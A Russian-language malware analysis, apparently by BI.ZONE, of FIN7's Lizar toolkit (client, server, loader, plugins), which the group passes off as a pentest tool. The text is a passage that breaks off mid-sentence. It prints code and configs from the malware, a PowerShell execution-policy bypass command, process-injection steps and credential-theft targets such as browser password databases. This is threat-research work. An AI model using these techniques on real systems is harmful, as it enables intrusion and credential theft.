Русский
Русский
English
Статистика
Реклама

Реверс-инжиниринг

От пентеста до АРТ-атаки группа киберпреступников FIN7 маскирует свою малварь под инструментарий этичного хакера

21.04.2021 12:06:56 | Автор: admin

Статья подготовлена командой BI.ZONE Cyber Threat Research


Мы не первый раз натыкаемся на киберпреступные группировки, которые прикидываются легальными организациями и маскируют свою малварь под инструменты для анализа защищенности. Сотрудники таких компаний могут даже не подозревать, что работают на злоумышленников и используют самый настоящий вредоносный пакет.


FIN7 (также именуемая как Carbanak и Navigator Group), одна из знаменитых АРТ-группировок, для разведки и закрепления на зараженных системах разработала Lizar якобы инструмент для пентеста сетей Windows. Мы заинтересовались им и провели исследование, результатами которого поделимся в статье.


Раньше инструмент назывался Tirion, но дальше по тексту мы будем использовать только новое название Lizar


Немного о FIN7


APT-группировка FIN7, предположительно, основана еще в 2013 году, однако мы сосредоточимся на анализе ее деятельности с 2020 года: именно тогда киберпреступники сфокусировались на атаках с использованием шифровальщиков.


FIN7 составляла список жертв, фильтруя компании по доходу с помощью сервиса Zoominfo. В 20202021 годах мы наблюдали атаки на американские фармацевтические компании, IT-компанию со штаб-квартирой в Германии, один из ключевых финансовых институтов Панамы, игорное заведение и образовательные учреждения в США.


Довольно долго для целей разведки и закрепления на зараженных системах члены FIN7 использовали набор инструментов Carbanak Backdoor, почитать о котором можно в отчете FireEye (посты в блоге: 1, 2, 3, 4). Мы неоднократно наблюдали, как организаторы пытались маскироваться под представительство компании Check Point Software Technologies и Forcepoint. Пример этого интерфейс инструмента Carbanak Backdoor версии 3.7.4 с отсылкой к компании Check Point Software Technologies (рис. 1).



Рис. 1. Интерфейс инструмента Carbanak Backdoor версии 3.7.4


Недавно у преступников появился новый вредоносный пакет Lizar. В сети ранее публиковался отчет об исследовании Lizar версии 1.6.4, а мы решили изучить функциональные возможности компонентов более новой версии, 2.0.4 (дата и время компиляции Fri Jan 29 03:27:43 2021), обнаруженных нами в феврале 2021 года.


Архитектура набора инструментов Lizar


По структуре набор инструментов Lizar похож на Carbanak Backdoor. Краткая характеристика обнаруженных нами компонентов представлена в табл. 1.


Табл. 1. Сущность и назначение компонентов Lizar


Название компонента Описание компонента Процесс работы компонента
Lizar client Программа с графическим интерфейсом, с помощью которой участники группы FIN7 управляют лоадерами на зараженных устройствах. Предназначена для работы под управлением ОС Windows Программа общается с сервером, отправляет через него команды загрузчику на зараженной машине (лоадеру) и получает результат выполнения команд
Lizar server Программа, которая обеспечивает связь между клиентом и лоадером Программа работает на удаленном сервере
Lizar loader Лоадер, который предназначен для загрузки плагинов Лоадер общается с управляющим сервером и запускает необходимые плагины по команде с сервера
Lizar plugins Плагины, расположенные на стороне сервера Результат работы каждого плагина отправляется на сервер, а с сервера передается клиенту
Lizar plugins/extra Плагины, расположенные на стороне клиента Плагины из директории plugins/extra передаются от клиента к серверу, после чего от сервера к лоадеру (на зараженную систему)

Lizar loader и Lizar plugins работают на зараженной системе и логически могут быть объединены в компонент Lizar bot.


То, как функционируют и взаимодействуют инструменты Lizar, можно увидеть на рис. 2.



Рис. 2. Схема работы набора инструментов Lizar


Lizar client


Lizar client состоит из следующих компонентов:


  • client.ini.xml конфигурационный файл в формате XML;
  • client.exe основной исполняемый файл клиента;
  • libwebp_x64.dll 64-битная версия библиотеки libwebp;
  • libwebp_x86.dll 32-битная версия библиотеки libwebp;
  • keys директория с ключами, необходимыми для шифрования трафика между клиентом и сервером;
  • plugins/extra директория с плагинами (на практике в ней лежат лишь некоторые плагины, остальные расположены на сервере);
  • rat директория с публичным ключом из комплекта Carbanak Backdoor (этот компонент добавлен в последней версии Lizar).

Ниже представлено содержимое и описание конфигурационного XML-файла (табл. 2).


<?xml version="1.0" encoding="utf-8"?><Params xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://personeltest.ru/away/www.w3.org/2001/XMLSchema">  <Servers>    <Server>      <Name>test</Name>      <IP>XX.XX.XX.XX</IP>      <Port>443</Port>      <FileKey>file.key</FileKey>    </Server>  </Servers>  <JumperApp>    <App>      <Name>svchost.exe</Name>    </App>    <App>      <Name>rundll32.exe</Name>    </App>  </JumperApp>  <HidePassedMinutes>1</HidePassedMinutes>  <ClientName>client-test</ClientName>  <TrafficLog>0</TrafficLog>  <Rats>    <RatConfig>      <Name>RatServer</Name>      <IP>XX.XX.XX.XX</IP>      <Port>443</Port>      <FileKey>rat\test.public.key</FileKey>    </RatConfig>  </Rats></Params>

Табл. 2. Характеристика элементов структуры конфигурационного XML-файла


Группа элементов Название элемента Описание элемента
Servers Server
Настройки сервера
Name Имя сервера, отображаемое клиентом
IP IP-адрес сервера
Port Порт, который слушает сервер
FileKey Файл с ключом, используемым для шифрования трафика между клиентом и сервером
JumperApp App
Конфигурация приложения на зараженной ОС, в процесс которого будет произведена миграция
Name Имя процесса, в который может мигрировать лоадер
Самостоятельные элементы HidePassedMinutes Конфигурационный параметр, от которого зависит отображение прошедших минут в графическом интерфейсе клиента. Принимает два значения: 0 (прошедшие минуты скрываются) и 1 (прошедшие минуты отображаются)
ClientName Имя клиента
TrafficLog Конфигурационный параметр, от которого зависит логирование сетевого взаимодействия с сервером. Принимает два значения: 0 (сетевое взаимодействие логируется) и 1 (сетевое взаимодействие не логируется)
Rats RatConfig
Настройки плагина Rat, представляющего собой урезанную версию бота из набора инструментов Carbanak Backdoor
Name Имя сервера или панели администратора из набора инструментов Carbanak Backdoor
IP IP-адрес сервера или панели администратора из набора инструментов Carbanak Backdoor
Port Порт сервера Carbanak Backdoor
FileKey Файл, который содержит необходимый для работы Carbanak Backdoor публичный ключ RSA

В табл. 3 представлены характеристики обнаруженного файла client.exe.


Табл. 3. Файл client.exe


Характеристики Значение
Имя файла client.exe
SHA-256 78a744a64d3afec117a9f5f11a9926d45d0064c5a46e3c0df5204476a1650099 (нет на VT)
Тип файла PE32 executable for MS Windows (GUI) Intel 80386 Mono/.Net assembly
Размер 238 080 байт

На рис. 3 скриншот интерфейса последней обнаруженной нами версии клиента.



Рис. 3. Интерфейс версии 2.0.4 Lizar client


Описание колонок
Название колонки Содержимое колонки
Id Информация о боте в виде {имя бота}:{идентификатор бота}:{pid}, где:
  • идентификатор бота контрольная сумма от системной информации (алгоритм генерации идентификатора бота описан в разделе Lizar loader)
  • pid значение идентификатора процесса, в котором функционирует лоадер (если лоадер неактивен, pid принимает значение 0)
Pid Такое же значение, как pid из колонки Id
Platform Битность и тип процесса, в котором функционирует лоадер:
  • x86 лоадер 32-битный файл EXE или DLL
  • x86.net лоадер 32-битный файл EXE или DLL, написанный на платформе .NET Framework
  • x64 лоадер 64-битный файл EXE или DLL
  • x64.net лоадер 64-битный EXE или DLL, написанный на платформе .NET Framework
External IP Внешний IP-адрес зараженной системы, на которой запущен лоадер (не всегда отображается корректно)
Local IP Внутренний IP-адрес зараженной системы, на которой запущен лоадер
Country Страна, на территории которой находится зараженная система
AV Название антивирусного продукта
First, Last Временные метки первого и последнего отстука лоадера
Passed Количество минут, прошедших с момента последнего отстука до текущего момента
Next Количество секунд, через которое произойдет следующее взаимодействие клиента с сервером (если лоадер неактивен, значение становится отрицательным)
Company Пустая колонка, где в будущем, вероятно, будет отображаться имя зараженной компании, полученное из домена
Info Базовая информация о зараженной системе: домен, имя пользователя, версия зараженной системы
Protocol Протокол общения с сервером (может принимать значения unknown и tcp)
Server Имя сервера, значение которого берется из конфигурации
Comment, Outer string Дополнительная информация, которая сейчас не используется

Клиент поддерживает несколько команд для бота. То, как они выглядят в графическом интерфейсе, можно увидеть на рис. 4.



Рис. 4. Список команд, поддерживаемых Lizar client


Вот что позволяет сделать каждая из команд:


  • Info получить информацию о системе. Плагин для данной команды расположен на сервере. При получении от плагина результата информация записывается в колонку Info.


  • Kill завершить работу плагина.


  • Period изменить период отстука (рис. 5).

    Рис. 5. Команда Period в графическом интерфейсе Lizar client


  • Screenshot сделать скриншот (рис. 6). Плагин для данной команды расположен на сервере. Если удалось сделать скриншот, он отобразится в отдельном окне.

    Рис. 6. Команда Screenshot в графическом интерфейсе Lizar client


  • List Processes получить список процессов (рис. 7). Плагин для данной команды расположен на сервере. В случае успешной работы плагина список процессов отображается в отдельном окне.

    Рис. 7. Команда List Processes в графическом интерфейсе Lizar client


  • Command Line получить CMD на зараженной системе. Плагин для данной команды расположен на сервере. Если плагин успешно выполнил команду, результат отобразится в отдельном окне.


  • Executer запустить дополнительный модуль (рис. 8).

    Рис. 8. Команда Executer в графическом интерфейсе Lizar client


  • Jump to осуществить миграцию лоадера в другой процесс. Плагин для данной команды расположен на сервере. Параметры команды передаются через файл client.ini.xml.


  • New session создать еще одну сессию лоадера (запустить копию лоадера на зараженной системе).


  • Mimikatz запустить mimikatz.


  • Grabber запустить один из плагинов, собирающих пароли в браузерах и ОС. Во вкладке Grabber есть две кнопки: Passwords + Screens и RDP (рис. 9). При использовании каждой из них отправляется команда на запуск соответствующего плагина.



    Рис. 9. Команда Grabber в графическом интерфейсе Lizar client

Network analysis запустить один из плагинов для получения информации об Active Directory и информации о сети (рис. 10).



Рис. 10. Команда Network analysis в графическом интерфейсе Lizar client

Rat запустить Carbanak Backdoor (RAT). IP-адрес и порт сервера и панели администратора задаются через конфигурационный файл client.ini.xml (рис. 11).



Рис. 11. Команда Rat в графическом интерфейсе Lizar client


Мы перепрыгнули команду в общем списке Company computers она в настоящее время не обрабатывается. В коде образца нет обработчика для данной команды, так что мы не можем точно определить, что она делает.


Lizar server


Приложение Lizar server, как и Lizar client, написано на платформе .Net Framework. В отличие от клиента, сервер запускается на удаленном Linux-хосте. Дата и время компиляции последней обнаруженной нами версии сервера: Fri Feb 19 16:16:25 2021. Приложение запускается при помощи утилиты wine с предустановленным wine-mono (wine-mono-5.0.0-x86.msi).


Директория приложения сервера включает в себя следующие компоненты:


  • client/keys директория с ключами шифрования для корректного взаимодействия с клиентом.
  • loader/keys директория с ключами шифрования для корректного взаимодействия с лоадером.
  • logs директория с логами работы сервера (client-traffic, error, info).
  • plugins директория с плагинами.
  • ThirdScripts директория со скриптом ps2x.py и вспомогательным модулем ps2p.py. Скрипт ps2x.py предназначен для исполнения файлов на удаленном хосте и реализован с использованием проекта impacket. Заготовки команд для этого скрипта отображаются в приложении клиента при выборе соответствующей опции.

Полный список аргументов, поддерживаемых скриптом
    self.parser = argparse.ArgumentParser(description='ps2exec python module')    self.parser.add_argument('rhost', help='remote host and SMB-port like this: <host ip or name>[:port]')    self.parser.add_argument(        'rfile', help='remote (payload) file specification like this: <share>[[:<path>]:<file>]')    self.parser.add_argument('lfile', help='local (payload) file specification')    self.parser.add_argument('-c', '--cmd',          help='command to execute on RHOST')    self.parser.add_argument('-o', '--output',       help='remote file to collect output', default='', nargs='?')    self.parser.add_argument('-u', '--user',         help='user name', default='')    self.parser.add_argument('-p', '--password',     help='user password', default='')    self.parser.add_argument('-d', '--domain',       help='user domain', default='')    self.parser.add_argument('-n', '--sockshost',    help='socks5 server name or ip', default='localhost')    self.parser.add_argument('-k', '--socksport',    help='socks5 server port number', type=int, default=8129)    self.parser.add_argument('-s', '--hash',                                   help='user password hash like this: <LM-Hash>:<NT-Hash>', default='')    self.parser.add_argument('-l', '--loglevel', type=int, default=3,                              help='logging level from 0 to 5 (NONE, CRITICAL, ERROR, WARNING, INFO, DEBUG)')

  • x64 директория с файлом вспомогательной библиотеки SQLite.Interop.dll (64-битная версия).
  • x86 директория с файлом вспомогательной библиотеки SQLite.Interop.dll (32-битная версия).
  • AV.lst CSV-файл, содержащий имя процесса, который ассоциируется с антивирусным продуктом, название и описание антивирусного продукта. Несколько строк из файла AV.lst:

aexnsagent.exe|Altiris|Altiris Agentaexswdusr.exe|Altiris|Altiris Express NS Client ManagerALERT.EXE|eTrust|CA eTrust Integrated Threat Management 8.1/CA Jinchen KillALUNotify.exe|Symantec|Symantecavcenter.exe|Avira|Avira

  • data.db файл с базой данных, содержащей информацию обо всех лоадерах (эта информация подгружается в приложение клиента).
  • server.exe приложение сервера.
  • server.ini.xml конфигурационный файл приложения сервера.

Пример содержимого конфигурационного файла
    <?xml version="1.0" encoding="utf-8"?>    <Params xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://personeltest.ru/away/www.w3.org/2001/XMLSchema">      <protocols>        <PP>          <protocol>TCP</protocol>          <port>443</port>        </PP>      </protocols>      <TrafficLog>0</TrafficLog>    </Params>

  • System.Data.SQLite.dll файл вспомогательной библиотеки.

Обмен данными между клиентом и сервером


Перед отправкой на сервер данные шифруются на сессионном ключе размером от 5 до 15 байт, затем на ключе, указанном в конфигурации (31 байт). Используемая функция шифрования представлена ниже.


public static void EncodeData(byte[] data, int szdata, byte[] key, int szkey){  byte b = 0;  int num = 0;  for (int i = 0; i < szdata; i++)  {    byte b2 = data[i];    data[i] = (data[i] ^ b ^ key[num]);    b = b2;    num = (num + 1) % szkey;  }}

Если ключ, указанный в конфигурации (31 байт), не совпадает с ключом на сервере, данные с сервера не отправляются.


Для проверки ключа на стороне сервера клиент отправляет контрольную сумму от ключа, рассчитанную по следующему алгоритму:


public static uint CalcHash(byte[] m, int offset, int size){  uint num = 0U;  for (int i = 0; i < size; i++)  {    num ^= (uint)m[offset + i];    num *= 16777619U;  }  return num;}

Данные, полученные с сервера, расшифровываются на сессионном ключе размером от 5 до 15 байт, затем на ключе, указанном в конфигурации (31 байт). Функция для расшифровывания:


public static void DecodeData(byte[] data, int szdata, byte[] key, int szkey)  {    byte b = 0;    int num = 0;    for (int i = 0; i < szdata; i++)    {      data[i] = (data[i] ^ b ^ key[num]);      b = data[i];      num = (num + 1) % szkey;    }  }

Данные, передаваемые от клиента серверу и от сервера клиенту, имеют бинарный формат. Расшифрованные данные представляют собой список ботов (рис. 12).



Рис. 12. Пример расшифрованных данных, переданных от сервера клиенту


Lizar loader


Lizar loader предназначен для выполнения команд посредством запуска плагинов, а также для запуска дополнительных модулей. Он работает на стороне зараженного компьютера.
Как мы уже отметили, Lizar loader и Lizar plugins работают на зараженной системе и логически могут быть объединены в компонент Lizar bot. Модульная архитектура бота обеспечивает расширяемость инструмента и возможность вести независимую разработку всех компонентов.
Мы обнаружили три вида ботов: DLL, EXE и PowerShell-скрипты, которые в результате исполняют DLL в адресном пространстве процесса PowerShell.


Псевдокод главной функции лоадера вместе с восстановленной структурой функций представлены на рис. 13.



Рис. 13. Псевдокод главной функции лоадера


Вот что происходит в функции x_Init:


  1. Генерация случайного ключа g_ConfigKey31 при помощи функции SystemFunction036. Данный ключ используется в дальнейшем для расшифровывания конфигурационных данных.


  2. Получение системной информации и подсчет контрольной суммы от полученной информации (рис. 14).

    Рис. 14. Псевдокод для получения системной информации и подсчета контрольной суммы от нее


  3. Получение идентификатора текущего процесса (контрольная сумма и PID процесса лоадера отображаются в колонке Id в приложении клиента).


  4. Подсчет контрольной суммы от ранее полученной контрольной суммы и идентификатора текущего процесса (на рис. 13 обозначено как g_BotId).


  5. Расшифровывание конфигурационных данных: списка IP-адресов, списка портов для каждого сервера. Конфигурационные данные расшифровываются на 31-байтовом ключе g_LoaderKey алгоритмом XOR. После расшифровывания данные повторно зашифровываются на ключе g_ConfigKey31 алгоритмом XOR. Ключ g_LoaderKey также используется при шифровании данных, отправляемых на сервер, и при расшифровывании данных, получаемых с сервера.


  6. Инициализация глобальных переменных и критических секций для некоторых переменных. Это нужно для доступа к данным из различных потоков.


  7. Инициализация исполняемой памяти для выполнения плагинов.


  8. Запуск пяти потоков, в которых происходит обработка очереди сообщений с сервера. Этот механизм реализован с помощью функций PostQueuedCompletionStatus и GetQueuedCompletionStatus. Данные, полученные с сервера, расшифровываются и отправляются обработчику (рис. 15).

    Рис. 15. Псевдокод алгоритма расшифровывания данных, полученных с сервера, и передачи этих данных обработчику



При этом обработчик принимает данные с помощью функции GetQueuedCompletionStatus.


Тело плагинов содержится в переменной vServerDataServerData после расшифровывания (еще раз взгляните на рис. 15). Псевдокод алгоритма, которым расшифровываются данные, полученные с сервера, представлен на рис. 16.



Рис. 16. Псевдокод алгоритма расшифровывания данных, полученных с сервера


Перед отправкой на сервер структура данных формируется так, как показано на рис. 17.

Рис. 17. Псевдокод функции, в которой генерируется структура, отправляемая серверу


Плагины из директории plugins


Плагины из директории plugins отправляются с сервера лоадеру и исполняются лоадером при осуществлении определенного действия в приложении Lizar Сlient.


Механизм работы плагинов в общем виде можно представить так:


  1. Пользователь выбирает команду в интерфейсе приложения Lizar client.
  2. Информация о выбранной команде отправляется на Lizar server.
  3. В зависимости от команды и битности лоадера сервер находит подходящий плагин из директории plugins и отправляет лоадеру запрос, содержащий команду и тело плагина (например, Screenshot{битность лоадера}.dll).
  4. Лоадер выполняет плагин и сохраняет результат выполнения плагина в специально выделенной области памяти на куче.
  5. Результат выполнения плагина отправляется на сервер, а с сервера клиенту.
  6. В приложении клиента отображается результат работы плагина.

Полный список плагинов (32-битных и 64-битных DLL) из директории plugins
  • CommandLine32.dll
  • CommandLine64.dll
  • Executer32.dll
  • Executer64.dll
  • Grabber32.dll
  • Grabber64.dll
  • Info32.dll
  • Info64.dll
  • Jumper32.dll
  • Jumper64.dll
  • ListProcess32.dll
  • ListProcess64.dll
  • mimikatz32.dll
  • mimikatz64.dll
  • NetSession32.dll
  • NetSession64.dll
  • rat32.dll
  • rat64.dll
  • Screenshot32.dll
  • Screenshot64.dll

CommandLine32.dll/CommandLine64.dll


Плагин предназначен для предоставления злоумышленникам доступа к интерфейсу командной строки на зараженной системе.


Отправка команд процессу cmd.exe и получение результата выполнения команд реализованы через пайпы (рис. 18).



Рис. 18. Псевдокод главной функции CommandLine32.dll/CommandLine64.dll


Executer32.dll/Executer64.dll


С помощью Executer32.dll/Executer64.dll запускаются дополнительные компоненты, указанные в интерфейсе приложения Lizar client.


Плагин поддерживает запуск следующих компонентов:


  • файла EXE из директории %TEMP%;
  • PowerShell-скрипта из директории %TEMP%, который запускается при помощи следующей команды: {путь к файлу powershell.exe} -ex bypass -noprof -nolog -nonint -f {путь к PowerShell-скрипту};
  • DLL в памяти;
  • шелл-кода.

Код плагина, который запускает шелл-код, представлен на рис. 19.



Рис. 19. Код Executer32.dll/Executer64.dll, запускающий шелл-код


Следует отметить, что файл плагина Executer64.dll содержит путь к PDB: M:\paal\Lizar\bin\Release\Plugins\Executer64.pdb.


Grabber32.dll/Grabber64.dll


Вопреки своему названию, данный плагин не содержит функциональности граббера и представляет собой типичный загрузчик PE-файла.


Хотя злоумышленники и называют его граббером, на деле загруженный PE-файл выполняет функции других инструментов, например стилера.


Обе версии плагина используются в качестве загрузчиков грабберов, расположенных на стороне клиента: PswRdInfo64 и PswInfoGrabber64.


Info32.dll/Info64.dll


Плагин предназначен для получения информации о зараженной системе.


Плагин выполняется при использовании команды Info в приложении Lizar client. На сервер отправляется структура данных, содержащая версию ОС, имя пользователя и имя компьютера.


На стороне сервера полученная структура приводится к специальной строке (рис. 20).



Рис. 20. Приведение полученной структуры к специальной строке на стороне сервера


Jumper32.dll/Jumper64.dll


Плагин предназначен для миграции лоадера в адресное пространство другого процесса. Параметры инжекта выставляются в конфигурационном файле Lizar client. Следует отметить, что данный плагин может быть использован не только для инжекта лоадера, но и для выполнения других PE-файлов в адресном пространстве указанного процесса. На рис. 21 представлен участок главной функции плагина.



Рис. 21. Псевдокод главной функции Jumper32.dll/Jumper64.dll


Из представленного псевдокода видно, что миграция лоадера в адресное пространство указанного процесса может происходить тремя способами:


  • по идентификатору процесса, в который осуществляется инжект;
  • по имени исполняемого файла, в который осуществляется инжект;
  • путем миграции в такой же процесс.

Рассмотрим каждый из них подробнее.


Алгоритм инжекта по идентификатору процесса


  1. OpenProcess плагин получает хендл процесса для указанного идентификатора процесса (PID).
  2. VirtualAllocEx + WriteProcessMemory плагин выделяет память в виртуальном адресном пространстве указанного процесса и записывает туда содержимое, которое впоследствии будет исполнено.
  3. CreateRemoteThread плагин создает поток в виртуальном адресном пространстве указанного процесса, в качестве адреса lpStartAddress выступает главная функция лоадера. Если CreateRemoteThread не отработал, плагин использует функцию RtlCreateUserThread (рис. 22).


Рис. 22. Псевдокод функции для создания потока в виртуальном адресном пространстве указанного процесса


Алгоритм инжекта по имени исполняемого файла


  1. Плагин находит путь к системному исполняемому файлу, в который необходимо осуществить инжект. Расположение этого файла зависит от разрядности лоадера. 64-битный файл размещается в директории %SYSTEMROOT%\System32, а 32-битный в директории %SYSTEMROOT%\SysWOW64.
  2. Плагин создает процесс для полученного системного исполняемого файла, а также получает идентификатор созданного процесса. В зависимости от параметров плагина есть два способа реализации этого шага:

    • Если в структуре, передаваемой плагину, выставлен соответствующий флаг, то плагин создает процесс в контексте безопасности процесса explorer.exe (рис. 23).

      Рис. 23. Запуск исполняемого файла в контексте безопасности процесса explorer.exe
    • Если флаг не выставлен, исполняемый файл запускается посредством вызова функции CreateProcessA (рис. 24).

      Рис. 24. Вызов функции CreateProcessA
  3. Плагин выделяет память в виртуальном адресном пространстве созданного процесса и записывает туда содержимое, которое впоследствии будет исполнено (VirtualAllocEx + WriteProcessMemory).
  4. Плагин запускает функции в виртуальном адресном пространстве созданного процесса одним из следующих способов в зависимости от разрядности процесса:

    • для 64-битного процесса запуск осуществляется при помощи функции, псевдокод которой изображен на рис. 25;

      Рис. 25. Псевдокод алгоритма инжекта в 64-битный процесс
    • для 32-битного процесса запуск функции в виртуальном адресном пространстве созданного процесса осуществляется при помощи функций CreateRemoteThread и RtlCreateUserThread, которые создают поток в виртуальном адресном пространстве заданного процесса.

Алгоритм инжекта в такой же процесс


  1. Плагин получает путь к исполняемому файлу для процесса, в адресном пространстве которого он функционирует.
  2. Плагин запускает данный исполняемый файл и осуществляет инжект в созданный процесс.

Псевдокод для данного метода представлен на рис. 26.



Рис. 26. Псевдокод алгоритма инжекта Jumper32.dll/Jumper64.dll в такой же процесс


ListProcesses32.dll/ListProcesses64.dll


Данный плагин предназначен для получения информации о запущенных процессах (рис. 27 и рис. 28).



Рис. 27. Получение информации о каждом активном процессе



Рис. 28. Добавление полученной информации для последующей отправки на сервер


Для каждого процесса могут быть получены:


  • идентификатор процесса;
  • путь к исполняемому файлу;
  • информация о пользователе, от имени которого запущен процесс.

mimikatz32.dll/mimikatz64.dll


Плагин mimikatz обертка для модулей powerkatz, расположенных на стороне клиента:


  • powerkatz_full32.dll
  • powerkatz_full64.dll
  • powerkatz_short32.dll
  • powerkatz_short64.dll

NetSession32.dll/NetSession64.dll


Плагин предназначен для получения информации обо всех сеансах, установленных на зараженном сервере. Для каждого сеанса может быть получен адрес хоста, с которого производится подключение, а также имя пользователя, инициирующего подключение.


Псевдокод функции, в которой происходит получение информации, представлен на рис. 29 и 30.



Рис. 29. Получение информации о сетевых сеансах с помощью функций из WinAPI



Рис. 30. Добавление информации, полученной плагином, для отправки на сервер


rat32.dll/rat64.dll


Плагин представляет собой урезанную версию бота из набора инструментов Carbanak Backdoor. Как мы писали в начале статьи, этот набор инструментов активно используется группировкой FIN7.


Screenshot32.dll/Screenshot64.dll


Плагин позволяет сделать скриншот на зараженной системе в формате JPEG. Ниже показан участок функции, используемый для сохранения полученного изображения в стрим (рис. 31).



Рис. 31. Участок функции, используемый для сохранения скриншота, сделанного плагином, в стрим


Далее полученный стрим передается лоадеру для отправки на сервер.


Плагины из директории plugins/extra


Плагины из директории plugins/extra передаются от клиента к серверу, после чего от сервера к лоадеру (на зараженную систему).


Список файлов из директории plugins/extra
  • ADRecon.ps1
  • GetHash32.dll
  • GetHash64.dll
  • GetPass32.dll
  • GetPass64.dll
  • powerkatz_full32.dll
  • powerkatz_full64.dll
  • powerkatz_short32.dll
  • powerkatz_short64.dll
  • PswInfoGrabber32.dll
  • PswInfoGrabber64.dll
  • PswRdInfo64.dll

ADRecon


Файл ADRecon.ps1 это инструмент для генерации отчета, содержащего информацию из среды Active Directory. Исходный код проекта доступен ADRecon доступен на GitHub. Отметим, что этот плагин не является разработкой FIN7, однако активно используется группировкой для атак в рамках исследуемого набора инструментов.


GetHash32/GetHash64


Плагин предназначен для получения NTLM-/LM-хешей пользователей. В основе плагина лежит код компонента lsadump из mimikatz.


На рис. 32 представлен скриншот с псевдокодом экспортируемой функции Entry (имена функций выбраны в соответствии с названиями функций из mimikatz).



Рис. 32. Псевдокод экспортируемой функции Entry для плагина GetHash


Возвращаемое значение функции Execute (значение переменной g_outputBuffer) содержит указатель на буфер с данными, полученными в результате работы плагина.


Если плагин не удалось запустить с правами SYSTEM, в результате его работы буфер заполнится данными, представленными на рис. 33.



Рис. 33. Содержимое буфера при запуске плагина без прав пользователя SYSTEM


Содержимое буфера в данном случае аналогично выводу mimikatz при запуске модуля lsadump::sam без прав SYSTEM (рис. 34).



Рис. 34. Вывод mimikatz при запуске lsadump::sam без прав пользователя SYSTEM


Если плагин запущен с правами SYSTEM, в результате его работы в буфер попадет вся искомая информация (рис. 35).



Рис. 35. Содержимое буфера при запуске плагина с правами пользователя SYSTEM


Такие же данные можно получить при выполнении команды lsadump::sam из mimikatz с правами пользователя SYSTEM (рис. 36).



Рис. 36. Результат выполнения команды lsadump::sam из mimikatz с правами пользователя SYSTEM


GetPass32/GetPass64


Плагин предназначен для получения паролей пользователей. В его основе лежит код компонента sekurlsa из mimikatz. Псевдокод экспортируемой функции Entry представлен на рис. 37.



Рис. 37. Псевдокод экспортируемой функции Entry


По результатам работы плагина мы увидим в значении переменной g_outputBuffer указатель на буфер с данными, которые можно получить при выполнении команды sekurlsa::logonpasswords в mimikatz (рис. 38).



Рис. 38. Результат выполнения команды sekurlsa::logonpasswords


powerkatz_full32/powerkatz_full64


Плагин представляет собой версию mimikatz, собранную в конфигурации Second_Release_PowerShell. Эта версия может быть загружена в адресное пространство процесса PowerShell посредством рефлексивной загрузки DLL так, как это реализовано в модуле Exfiltration из PowerSploit.


Псевдокод экспортируемой функции powershell_reflective_mimikatz (названия переменных и функций в декомпилированном выводе изменены в соответствии с названиями соответствующих переменных и функций из mimikatz):


HLOCAL __fastcall powershell_reflective_mimikatz(const WCHAR *input){  unsigned __int16 **argv; // rbx  int pNumArgs; // [rsp+38h] [rbp+10h] BYREF  pNumArgs = 0;  argv = CommandLineToArgvW(input, &pNumArgs);  if ( argv )  {    outputBufferElementsPosition = 0i64;    outputBufferElements = 255i64;    outputBuffer = LocalAlloc(0x40u, 0x1FEui64);    if ( outputBuffer )      wmain(pNumArgs, argv);    LocalFree(argv);  }  return outputBuffer;}

Через параметр input передается список команд, разделенных пробелом. Через глобальную переменную outputBuffer передается результат выполнения команд. Декомпилированный вид функции wmain представлен ниже:


__int64 __fastcall wmain(int argc, unsigned __int16 **argv){  __int64 vNumArgs; // rbx  int status; // edi  __int64 numArgs; // rbp  __int64 i; // rbx  int res; // eax  vNumArgs = argc;  status = 0;  kprintf(L"\n"           "  .#####.   mimikatz 2.2.0 (x64) #18362 Apr  8 2020 18:33:39\n"           " .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n"           " ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"           " ## \\ / ##       > http://blog.gentilkiwi.com/mimikatz\n"           " '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n"           "  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/\n");  mimikatz_initOrClean(1);  numArgs = vNumArgs;  if ( vNumArgs > 0 )  {    i = 0i64;    do    {      if ( status == 0x40000015 )        break;      kprintf(L"\nmimikatz(powershell) # %s\n", argv[i]);      res = mimikatz_dispatchCommand(argv[i++]);      status = res;    }    while ( i < numArgs );  }  mimikatz_initOrClean(0);  return 0i64;}

powerkatz_short32/powerkatz_short64


Плагин powerkatz_short это модифицированная версия стандартной библиотеки powerkatz, описанной в предыдущем пункте.


Список функций из powerkatz, которые были исключены из powerkatz_short
  • kuhl_m_acr_clean;
  • kuhl_m_busylight_clean;
  • kuhl_m_c_rpc_clean;
  • kuhl_m_c_rpc_init;
  • kuhl_m_c_service_clean;
  • kuhl_m_crypto_clean;
  • kuhl_m_crypto_init;
  • kuhl_m_kerberos_clean;
  • kuhl_m_kerberos_init;
  • kuhl_m_vault_clean;
  • kuhl_m_vault_init;
  • kull_m_busylight_devices_get;
  • kull_m_busylight_keepAliveThread.

PswInfoGrabber32.dll/PswInfoGrabber64.dll


Плагин позволяет получить из зараженной системы историю браузеров Firefox, Google Chrome, Microsoft Edge, Internet Explorer, сохраненные в них логины и пароли пользователей, а также учетные записи почтовых клиентов Microsoft Outlook и Mozilla Thunderbird.


Для получения конфиденциальных данных из браузера Firefox используется библиотека nss3.dll, подгружаемая из директории с установленным браузером (рис. 39).



Рис. 39. Динамическое получение адресов функций из библиотеки nss3.dll


С помощью функций, представленных на рис. 39, учетные данные извлекаются из файла logins.json, а история браузера из базы данных places.sqlite.


Атакуя Google Chrome, плагин получает историю браузера из базы %LOCALAPPDATA%\Google\Chrome\User Data\Default\History, а пароли из базы %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data (данные зашифрованы с использованием DPAPI).


History, places.sqlite, Login Data файлы базы данных sqlite3. Для работы с базами данных sqlite3 в плагине используются функции из библиотеки sqlite, статически слинкованные с результирующей DLL, то есть самим плагином.


Для браузеров Internet Explorer и Microsoft Edge плагин получает учетные данные пользователей с использованием функций из библиотеки vaultcli.dll, реализующей функции утилиты vaultcmd.exe.


PswRdInfo64.dll


PswRdInfo64.dll предназначен преимущественно для сбора доменных учетных записей и получения учетных данных для доступа к другим хостам через RDP. Плагин активируется из приложения клиента с помощью вкладки Grabber RDP.


Алгоритм работы плагина зависит от следующих условий.


При запуске пользователем SYSTEM плагин перечисляет все активные консольные сессии (WTSGetActiveConsoleSessionId) и получает имена пользователей для данных сессий:


